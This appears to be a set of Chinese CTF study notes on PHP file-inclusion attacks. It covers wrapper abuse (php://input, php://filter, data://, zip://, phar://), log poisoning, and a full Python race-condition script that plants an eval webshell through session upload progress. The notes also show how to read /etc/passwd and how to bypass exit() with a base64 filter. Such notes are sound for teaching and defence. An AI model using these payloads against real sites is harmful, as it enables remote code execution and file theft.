allow_url_include:允许通过 include
或 require
等函数从 URL 加载 PHP 代码 默认关闭
allow_url_fopen: 允许通过文件处理函数(如 file_get_contents()
、fopen()
)访问 URL 默认开启
条件: allow_url_include=on
php://input
可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行
经常通过file_get_contents()
获取php://input
内容
利用:
?file=php://input
[POST] <?php phpinfo();?>
条件: 在 allow_url_fopen
,allow_url_include
都关闭的情况下可以正常使用
php://filter
可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致 任意文件读取。
filter参数解释
resource=<要过滤的数据流> [必须]。它指定了你要筛选过滤的数据流。(相对路径也可)
read=<读链的筛选列表> [可选]。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> [可选]。可以设定一个或多个过滤器名称,以管道符(|)分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
过滤器
读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php base64编码
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换
条件: allow_url_fopen
,allow_url_include
同时开启
data协议类似于php://input协议,用于控制输出流,当与包含函数结合时,data://流回被当作php文件执行。从而导致任意代码的执行
利用
可以用于过滤了 php
关键词时
?file=data://,<php phpinfo();
?file=data://text/plain,<?php phpinfo();---恶意代码
?file=data://text/plain;base64,base编码内容(恶意代码的base64编码)
注意:使用data协议,后面php代码不要闭合
案例: web79 data伪协议
zip://
可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#
要用url编码%23
只需要是zip的压缩包即可,后缀名可以任意更改
利用
zip://[压缩包绝对路径]%23[压缩包内文件]
?file=zip://D:\zip.jpg%23phpinfo.txt
条件 allow_url_fopen
,allow_url_include
都关闭的情况下可以正常使用
绝对路径和相对路径都可以使用
利用
file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
条件 allow_url_fopen
,allow_url_include
都关闭的情况下可以正常使用
利用
file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
phar://
有点类似zip://
同样可以导致 任意代码执行。
区别就是:phar://中相对路径和绝对路径都可以使用
利用
?file=phar://zip.jpg/phpifo.txt
?file=phar://D:\zip.jpg\phpinfo.txt
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
案例 mt_rand()/文件上传/phar协议/文件包含--C1ctf2017 - 简书
条件 不受 allow_url_fopen
, allow_url_include
的影响
用于访问本地文件系统
file协议可以访问文件的绝对路径,相对路径
file://
还经常和curl函数(SSRF)结合在一起
如:?file=file:///etc/passwd 有三条斜杠
条件 allow_url_include = on
常见日志保存位置
apache+Linux日志 | /etc/httpd/logs/access_log /var/log/httpd/access_log |
---|---|
nginx 日志 |
用户安装目录logs目录下 如/usr/local/nginx/logs /var/log/nginx/access.log |
apache+win2003日志 |
D:\xampp\apache\logs\access.log D:\xampp\apache\logs\error.log |
IIS6.0+win2003默认日志 | C:\WINDOWS\system32\Logfiles |
IIS7.0+win2003 默认日志 | %SystemDrive%\inetpub\logs\LogFiles |
apache+linux 默认配置文件 | apache+linux 默认配置文件 |
例题 web80日志包含
参考文章利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
重要的session相关默认配置
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4.session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
name
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;prefix+name
将表示为session中的键名常见利用
条件竞争进行session包含
例题 web82条件竞争
利用条件
# 原理 https://www.freebuf.com/vuls/202819.html
import requests
import threading
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session=requests.session()
sess='yu22x'
url1="http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/"
url2='http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/?file=/tmp/sess_'+sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'system("cat f*");'
}
file={
'file':'abc'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies,verify=False)
def read():
while True:
r = session.post(url2,data=data2,verify=False)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
参考文章 php死亡exit()绕过 - xiaolong's blog
一般有三种形式
1. file_put_contents($filename,"<?php exit();".$content);
2. file_put_contents($content,"<?php exit();".$content);
3. file_put_contents($filename,$content . "\nxxxxxx");
file_put_contents($filename,"<?php exit();".$content);
将我们传入的内容$content与 <?php exit();
进行拼接,从而导致无法执行我们传入的内容
利用filter过滤器进行编码绕过
原理是利用编码对我们最后的内容("<?php exit();
+ $content
")进行解码从而使前面的exit();函数被编码掉,无法被正常识别并执行。而我们传入的内容被解码后则还原成正常代码内容
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+
base64是以4个字符为一组进行编码的。所以必须是4的倍数,我们只需要在前面添‘a’即可